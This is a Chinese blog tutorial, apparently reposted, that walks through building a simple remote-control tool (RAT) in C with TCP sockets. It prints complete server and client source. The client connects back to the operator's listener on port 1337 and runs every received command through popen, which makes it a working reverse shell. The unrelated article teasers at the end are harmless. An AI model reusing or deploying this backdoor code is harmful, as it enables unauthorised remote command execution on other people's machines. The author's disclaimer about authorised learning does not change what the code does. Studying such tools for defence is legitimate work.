【 利用socket來實現簡單遠控】

利用socket來實現簡單遠控

      • 🔹 免責聲明
      • ?? 重要提示
      • 一、什么是socket?
      • 二、如何使用socket來實現兩臺計算機之間的通信?
      • 服務端
        • 1、首先需要創建一個socket;
        • 2、綁定IP以及端口
        • 3、開啟監聽
        • 4、接受客戶端連接
        • 5、客戶端連接上之后就是命令執行
        • 完整的服務端代碼
      • 客戶端
        • 1、首先就是創建一個socket并且連接到遠程計算機
        • 2、之后就是利用while循環來執行服務端發送過來的命令
        • 完整的客戶端代碼

🔹 免責聲明

本篇文章僅用于 技術研究、網絡安全學習與合法運維管理,旨在幫助理解 Socket 網絡編程遠程控制技術(RAT) 的實現原理。所有示例代碼和技術講解均在本地運行。

?? 重要提示

  • 嚴禁 在未經授權的情況下,擅自使用本文涉及的技術對任何計算機、服務器或網絡進行未經許可的訪問、控制或破壞。
  • 嚴禁 將本文提供的知識用于非法目的,包括但不限于 惡意入侵、數據竊取、黑客攻擊 等行為。
  • 任何因濫用本文技術所造成的法律責任,均由使用者自行承擔,我本人及本文概不負責!

下邊開始講解如何利用socket來實現遠程控制

遠程控制,顧名思義就是使用本地計算機控制遠程計算機,要實現兩者之間的通信就是一個重要的問題,那么使用socket(又稱作套接字)來實現兩者之間的通信是一個不錯的選擇。

一、什么是socket?

socket(套接字)是網絡編程中用于 兩臺計算機之間通信的端點。它是 TCP/IP 網絡通信的基礎,支持數據發送和接收,可以在本地或遠程設備之間建立連接。

二、如何使用socket來實現兩臺計算機之間的通信?

在c語言中,socket主要用于TCP/IP或UDP,考慮通信的可靠性,可以使用socket來創建一個TCP通信的端點。

要實現遠控,需要在本地計算機上運行一個服務端,并且在靶機上運行一個客戶端,而socket就是兩者實現通信的橋梁,下邊就來介紹如何使用c語言編寫服務端和客戶端。

服務端

1、首先需要創建一個socket;
int sock_fd, client_socket_fd;struct sockaddr_in server_addr, client_addr;socklen_t addr_len = sizeof(client_addr);sock_fd = socket(AF_INET, SOCK_STREAM, 0);if (sock_fd == -1) {perror("? creat socket faild!\n");exit(1);}

可以看到存在一個結構體sockaddr_in,它定義在<netinet/in.h>頭文件中;

struct sockaddr_in {sa_family_t    sin_family;   // 地址族,必須是 AF_INET(IPv4)in_port_t      sin_port;     // 端口號(需要用 htons() 轉換)struct in_addr sin_addr;     // IP 地址(用 inet_addr() 或 inet_pton() 賦值)char           sin_zero[8];  // 填充字段(一般不用)
};
2、綁定IP以及端口
	server_addr.sin_family = AF_INET;server_addr.sin_addr.s_addr = inet_addr("192.168.239.131");server_addr.sin_port = htons(PORT);if( bind(sock_fd, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1){perror("? bind faild!\n");close(sock_fd);exit(1);}

可以看到這一步就定義了server_addr結構體中的sin_family、sin_addr、sin_port詳細信息,因為我本地虛擬機的ip地址是192.168.239.131,因此我將server_addr.sin_addr.s_addr綁定為本地計算機ip地址;端口可以自己設置,一般使用比較大的端口,防止端口被占用。

3、開啟監聽
	if(listen(sock_fd, 5) == -1){perror("? listen faild!\n");close(sock_fd);exit(1);}

listen函數原型:

int listen(int sockfd, int backlog);

sockfd就是服務器socket文件描述符,也就是socket()的返回值;

backlog是最大等待連接數;

如果成功則返回0,失敗則返回-1;

4、接受客戶端連接
	client_socket_fd = accept(sock_fd, (struct sockaddr *)&client_addr, &addr_len);if (client_socket_fd == -1){perror("? connection faild!\n");close(sock_fd);exit(1);}

如果成功連接則返回一個新的socket文件描述符,失敗則返回-1;

5、客戶端連接上之后就是命令執行
	printf("? target is on!\n");execute_command(client_socket_fd);close(client_socket_fd);close(sock_fd);

運行完之后關閉進程;

execute_command():

void execute_command(int client_socket_fd){char buf[1024];char command[1024];int recv_bytes;while (1) {printf("shell>>");fgets(command, sizeof(command), stdin);if(send(client_socket_fd, command, strlen(command), 0) == -1){perror("? send faild!!\n");break;}memset(buf, 0, sizeof(buf));recv_bytes = recv(client_socket_fd, buf, sizeof(buf) - 1, 0);if (recv_bytes > 0){buf[recv_bytes] = '\0';printf("the output:\n%s\n", buf);}else if (recv_bytes == 0){perror("? recv message faild!!\n");break;} else {perror("? recv() faild!!\n");break;}}
}

通過send()、recv()函數來實現計算機之間的數據發送與接收;

這里我對與回顯為空的命令強制返回了字符串,避免服務端因為接收不到數據而卡住的情況。

完整的服務端代碼
//by lee
//https://blog.csdn.net/weixin_51055545?type=blog
//gcc server.c -o server
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>#define PORT 1337void banner(){printf("creat by Lee\n");printf("version 1.0\n");
}void execute_command(int client_socket_fd){char buf[1024];char command[1024];int recv_bytes;while (1) {printf("shell>>");fgets(command, sizeof(command), stdin);if(send(client_socket_fd, command, strlen(command), 0) == -1){perror("? send faild!!\n");break;}memset(buf, 0, sizeof(buf));recv_bytes = recv(client_socket_fd, buf, sizeof(buf) - 1, 0);if (recv_bytes > 0){buf[recv_bytes] = '\0';printf("the output:\n%s\n", buf);}else if (recv_bytes == 0){perror("? recv message faild!!\n");break;} else {perror("? recv() faild!!\n");break;}}
}int main(){banner();int sock_fd, client_socket_fd;struct sockaddr_in server_addr, client_addr;socklen_t addr_len = sizeof(client_addr);sock_fd = socket(AF_INET, SOCK_STREAM, 0);if (sock_fd == -1) {perror("? creat socket faild!\n");exit(1);}server_addr.sin_family = AF_INET;server_addr.sin_addr.s_addr = inet_addr("192.168.239.131");server_addr.sin_port = htons(PORT);if( bind(sock_fd, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1){perror("? bind faild!\n");close(sock_fd);exit(1);}if(listen(sock_fd, 5) == -1){perror("? listen faild!\n");close(sock_fd);exit(1);}printf("🕤 listing...\n");sleep(3);printf("🕤 waiting for target...\n");client_socket_fd = accept(sock_fd, (struct sockaddr *)&client_addr, &addr_len);if (client_socket_fd == -1){perror("? connection faild!\n");close(sock_fd);exit(1);}printf("? target is on!\n");execute_command(client_socket_fd);close(client_socket_fd);close(sock_fd);return 0;
}

客戶端

1、首先就是創建一個socket并且連接到遠程計算機
//by lee
//gcc server.c -o server
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>#define SERVER_IP "192.168.239.131"
#define SERVER_PORT 1337int main() {int sock;struct sockaddr_in server_addr;char command[1024];char result[4096] = {0};sock = socket(AF_INET, SOCK_STREAM, 0);if (sock == -1) {perror("? can not creat socket");exit(EXIT_FAILURE);}server_addr.sin_family = AF_INET;server_addr.sin_port = htons(SERVER_PORT);server_addr.sin_addr.s_addr = inet_addr(SERVER_IP);printf("🕤 wait for connection...");if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1) {perror("? can not connect to server_ip");close(sock);exit(EXIT_FAILURE);}printf("? connect to  %s:%d success", SERVER_IP, SERVER_PORT);

道理和服務端一樣,不贅述;

2、之后就是利用while循環來執行服務端發送過來的命令
    while (1) {memset(command, 0, sizeof(command));int recv_bytes = recv(sock, command, sizeof(command) - 1, 0);if (recv_bytes <= 0) {printf("? connection is break\n");break;}command[recv_bytes] = '\0';//確保接收到的命令完整;if (strncmp(command, "exit", 4) == 0) {printf("🔴 break connection\n");break;}FILE *fp = popen(command, "r"); // 執行command;if (fp == NULL) {char *error_msg = "? can not execute command\n";send(sock, error_msg, strlen(error_msg), 0);continue;}memset(result, 0, sizeof(result));fread(result, 1, sizeof(result) - 1, fp);if (strlen(result)==0){strcpy(result,"no output");//返回值為空,就強制返回no output;break;}result[strlen(result)] = '\0';pclose(fp);send(sock, result, strlen(result), 0);}
完整的客戶端代碼
//by lee
//gcc server.c -o server
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>#define SERVER_IP "192.168.239.131"
#define SERVER_PORT 1337int main() {int sock;struct sockaddr_in server_addr;char command[1024];char result[4096] = {0};sock = socket(AF_INET, SOCK_STREAM, 0);if (sock == -1) {perror("? can not creat socket");exit(EXIT_FAILURE);}server_addr.sin_family = AF_INET;server_addr.sin_port = htons(SERVER_PORT);server_addr.sin_addr.s_addr = inet_addr(SERVER_IP);printf("🕤 wait for connection...");if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1) {perror("? can not connect to server_ip");close(sock);exit(EXIT_FAILURE);}printf("? connect to  %s:%d success", SERVER_IP, SERVER_PORT);while (1) {memset(command, 0, sizeof(command));int recv_bytes = recv(sock, command, sizeof(command) - 1, 0);if (recv_bytes <= 0) {printf("? connection is break\n");break;}command[recv_bytes] = '\0';if (strncmp(command, "exit", 4) == 0) {printf("🔴 break connection\n");break;}FILE *fp = popen(command, "r"); // execute shell commandif (fp == NULL) {char *error_msg = "? can not execute command\n";send(sock, error_msg, strlen(error_msg), 0);continue;}memset(result, 0, sizeof(result));fread(result, 1, sizeof(result) - 1, fp);if (strlen(result)==0){strcpy(result,"no output");break;}result[strlen(result)] = '\0';pclose(fp);send(sock, result, strlen(result), 0);}close(sock);return 0;
}

使用方法及運行效果

在本地計算機運行服務端

./server

在這里插入圖片描述
此時等待靶機去連接;

在靶機中運行客戶端

./client

在這里插入圖片描述

此時再回到服務端計算機中,顯示:
在這里插入圖片描述

此時就可以輸入命令來控制靶機了;

在這里插入圖片描述

感興趣的師傅們還可以在上述的代碼進行添加和更改來添加更多功能!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/73719.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/73719.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/73719.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

數據可視化在特征分布對比中的應用

數據可視化在特征分布對比中的應用 1. 引言 在機器學習系統開發和維護過程中,特征分布對比是評估數據質量和模型魯棒性的關鍵環節。當訓練數據與測試數據分布存在偏差,或生產環境中的數據分布隨時間發生變化時,模型性能通常會顯著下降。有效的數據可視化不僅能幫助檢測這些…

依賴倒置 DIP、依賴注入 DI、控制反轉 IoC 和工廠模式

1. 依賴倒置 依賴倒置原則&#xff08;Dependency Inversion Principle, DIP&#xff09;是 SOLID 原則中的一項&#xff0c;其核心思想是通過抽象解耦高層模塊和低層模塊&#xff0c;使二者都依賴于抽象而非具體實現。 依賴反轉/倒置的體現&#xff1a;傳統依賴方向是高層模塊…

UnitTest框架管理測試用例——python自動化測試

UnitTest框架 UnitTest是Python自帶一個單元測試框架&#xff0c;常用它來做單元測試。 注意:對于測試來說&#xff0c;UnitTest框架的作用是 自動化腳本(用例代碼)執行框架————(使用UnitTest框架來管理 運行多個測試用例的) 為什么使用UnitTest框架 能夠組織多個用例去執…

Vue 過濾器深度解析與應用實踐

文章目錄 1. 過濾器概述1.1 核心概念1.2 過濾器生命周期 2. 過濾器基礎2.1 過濾器定義2.2 過濾器使用 3. 過濾器高級用法3.1 鏈式調用3.2 參數傳遞3.3 動態過濾器 4. 過濾器應用場景4.1 文本格式化4.2 數字處理4.3 數據過濾 5. 性能優化與調試5.1 性能優化策略5.2 調試技巧 6. …

ngx_http_module_t

定義在 src\http\ngx_http_config.h typedef struct {ngx_int_t (*preconfiguration)(ngx_conf_t *cf);ngx_int_t (*postconfiguration)(ngx_conf_t *cf);void *(*create_main_conf)(ngx_conf_t *cf);char *(*init_main_conf)(ngx_conf_t *cf, void *conf);…

每日定投40刀BTC(9)20250312 - 20250315

定投截圖 區塊鏈相關新聞 BTC價格一度跌破8萬美元 3月14日&#xff0c;BTC價格盤中跌破8萬美元&#xff0c;最低報79,954.60美元&#xff0c;日內下跌1.34%&#xff0c;市場情緒一度轉為謹慎 BTC價格波動背后的原因 經濟環境變化、市場情緒波動以及政策監管動態是導致BTC價…

Matlab 汽車二自由度轉彎模型

1、內容簡介 Matlab 187-汽車二自由度轉彎模型 可以交流、咨詢、答疑 2、內容說明 略 摘 要 本文前一部分提出了側偏角和橫擺角速度作為參數。描述了車輛運動的運動狀態&#xff0c;其中文中使用的參考模型是二自由度汽車模型。汽車速度被認為是建立基于H.B.Pacejka的輪胎模…

CentOS 6 YUM源切換成國內yum源

由于 CentOS 6 已于 2020 年 11 月進入 EOL&#xff08;End of Life&#xff09;&#xff0c;官方軟件源已不再提供更新&#xff0c;因此你可能會遇到 yum makecache 命令失敗的問題。以下是解決該問題的詳細步驟&#xff1a; ### 解決方案 1. **備份原有 yum 源文件** bash …

Leetcode 3483. Unique 3-Digit Even Numbers

Leetcode 3483. Unique 3-Digit Even Numbers 1. 解題思路2. 代碼實現 題目鏈接&#xff1a;3483. Unique 3-Digit Even Numbers 1. 解題思路 這一題其實是一個easy的題目&#xff0c;因為限制條件有限&#xff0c;最暴力的方法就是直接遍歷一下100到999的全部數字&#xff…

《基于深度學習的高分衛星圖像配準模型研發與應用》開題報告

目錄 1. 選題的背景和意義 1.1 選題的背景 1.2 國內外研究現狀 1.3 發展趨勢 2&#xff0e;研究的基本內容 2.1 主要研究內容 &#xff08;1&#xff09;訓練與測試數據集構建 &#xff08;2&#xff09;基于深度學習的高精度衛星影像配準模型 &#xff08;3&#xff0…

【Python 算法零基礎 1.線性枚舉】

我裝作漠視一切&#xff0c;以為這樣就可以不在乎 —— 25.3.17 一、線性枚舉的基本概念 1.時間復雜度 線性枚舉的時間復雜度為 O(nm)&#xff0c;其中 n是線性表的長度。m 是每次操作的量級&#xff0c;對于求最大值和求和來說&#xff0c;因為操作比較簡單&#xff0c;所以 …

前端性能優化回答思路

前端性能優化是面試中經常涉及的一個話題&#xff0c;面試官通常希望了解你在實際項目中如何處理性能瓶頸&#xff0c;如何識別和優化性能問題。以下是一些前端性能優化的常見問題以及你可以用來回答的思路&#xff1a; 如何提升頁面加載速度&#xff1f; 回答思路&#xff1…

02-Canvas-fabric.ActiveSelection

fabric.ActiveSelection fabric.ActiveSelection 用于表示當前選中的多個對象&#xff08;即多選狀態&#xff09;。 當用戶在畫布上選擇多個對象時&#xff0c;Fabric.js 會自動將這些對象包裝在fabric.ActiveSelection 實例中&#xff0c;以便統一操作&#xff08;如移動、縮…

Leetcode——151.反轉字符串中的單詞

題解一 思路 最開始的想法是把一個字符串分為字符串數組&#xff0c;但是不知道一共有幾個單詞&#xff08;當時沒想起來split()&#xff09;&#xff0c;所以選擇了用ArrayList儲存字符串&#xff0c;在輸出時沒有考慮ArrayList可以存儲空字符串&#xff0c;所以最開始的輸出…

Oracle檢索數據

一、Oracle用戶模式與模式 對象 1.概念 模式就是數據庫對象的集合&#xff0c;數據庫對象包括表、函數、索引、視圖、過程。 2.示例模式scott SQL> select table_name from user_tables;TABLE_NAME ------------------------------------------------------------------…

Java學習------static、final、this、super關鍵字

1. static關鍵字 static修飾的變量叫做靜態變量。當所有對象的某個屬性的值是相同的&#xff0c;建議將該屬性定義為靜態變量&#xff0c;來節省內存的開銷。靜態變量在類加載時初始化&#xff0c;存儲在堆中。static修飾的方法叫做靜態方法。所有靜態變量和靜態方法&#xff…

一個簡單的 **猜數字游戲** 的 C 語言例程

一個簡單的 猜數字游戲 的 C 語言例程&#xff0c;代碼包含詳細注釋&#xff0c;適合學習和練習基礎語法&#xff1a; #include <stdio.h> #include <stdlib.h> #include <time.h> // 用于生成隨機數種子int main() {int target, guess, attempts 0;srand…

Keepalived 多主模型與 LVS 高可用

一.Keepalived多主模型 Keepalived多主模型概念 如上圖&#xff0c;keepalived主從架構性能損耗較嚴重&#xff0c;如果業務分類明確&#xff0c;則可以配置keepalived多主模型降低損耗&#xff0c;兩臺keepalived互為主備&#xff0c;如&#xff1a;訂單業務走keepalived1&am…

RISCV虛擬化環境搭建

概要 本文記搭建 RISCV 虛擬化環境的流程。 整體架構 我們使用 QEMU 來模擬 RISCV 的各種硬件擴展環境&#xff0c;通過 QEMU 啟動 Ubuntu 作為我們的 Host 來在 Host 之中通過 KVMTOOL 來運行 Guest&#xff0c;學習 RISCV 的虛擬化。 目前我的 X86_64 主機使用的是 Ubunt…

書摘 ASP.NET Core技術內幕與項目實戰:基于DDD與前后端分離

IT行業的發展瞬息萬變,新技術層出不窮,很多技術人員出于個人興趣、個人職業發展等考慮而選擇一些流行的新技術,他們會把各種復雜的架構模式、高精尖的技術都加入架構中,這增加了項目的復雜度、延長了交付周期、增加了項目的研發成本。有些技術并不符合公司的情況,最后項目…